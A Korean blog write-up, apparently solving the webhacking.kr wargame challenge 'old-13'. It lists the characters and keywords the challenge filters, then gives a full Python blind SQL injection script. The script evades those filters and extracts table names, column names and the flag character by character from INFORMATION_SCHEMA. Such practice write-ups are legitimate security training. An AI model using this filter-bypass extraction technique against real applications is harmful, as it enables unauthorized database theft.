old-13 풀이
2024. 4. 11. 01:20ㆍwebhacking.kr
728x90
대놓고 SQL INJECTION이라 적혀있습니다
제공된 소스코드가 없으니, Blind 형식이라 생각하고 문제를 풀어보겠습니다
아무 문자열, 1, 0을 입력해 본 결과입니다
1을 넣으면 result로 1이 나오고 0은 아무것도 나오지 않으며, 그 외에는 0이 나옵니다
필터링 목록 ㅡㅡㅡㅡㅡ> #, /, --, 공백, chr, &, and, |, >, <, where, like, union, group
필터링될만한 문자들을 다 넣어봤는데, 위 목록에 있는 문자들만 필터링되는 걸 확인할 수 있었습니다
이걸 피해서 파이썬 코드를 작성해주면 되겠습니다
import urllib.request
URL = 'https://webhacking.kr/challenge/web-10/?no='
def query(payload):
req = urllib.request.Request(URL + payload)
r = urllib.request.urlopen(req)
content = r.read().decode('utf-8')
return "<td>1</td>" in content
def find_table_name_length():
L = 1
while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})'.format(L)) is False:
L += 1
return L
def find_table_name():
table_name_len = find_table_name_length()
result = ''
for i in range(1, table_name_len + 1):
for c in range(0, 128):
if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})'.format(i, c)) is True:
result += chr(c)
break
return result
def find_column_name_length(table_name):
table_name = ''.join(f'{ord(i):08b}' for i in table_name)
L = 1
while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)))IN({})'.format(table_name, L)) is False:
L += 1
return L
def find_column_name(table_name):
column_name_len = find_column_name_length(table_name)
table_name = ''.join(f'{ord(i):08b}' for i in table_name)
result = ''
for i in range(1, column_name_len + 1):
for c in range(0, 128):
if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})'.format(table_name, i, c)) is True:
result += chr(c)
break
return result
def find_flag_length(column_name, table_name):
L = 1
while query('LENGTH((SELECT(MAX({}))FROM({})))IN({})'.format(column_name, table_name, L)) is False:
L += 1
return L
tableN = find_table_name()
colN = find_column_name(tableN)
flagL = find_flag_length(colN, tableN)
flag = ""
for i in range(1, flagL + 1):
for c in range(0, 128):
if query('ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})'.format(colN, tableN, i, c)) is True:
flag += chr(c)
break
print('FLAG : ',flag)
728x90
'webhacking.kr' 카테고리의 다른 글
old-29 풀이 (0) | 2024.05.02 |
---|---|
old-55 풀이 (0) | 2024.04.15 |
g00gle2 풀이 (0) | 2024.04.10 |
baby toctou🍼 풀이 (PW = FLAG) (0) | 2024.04.08 |
old-57 풀이 (0) | 2024.04.07 |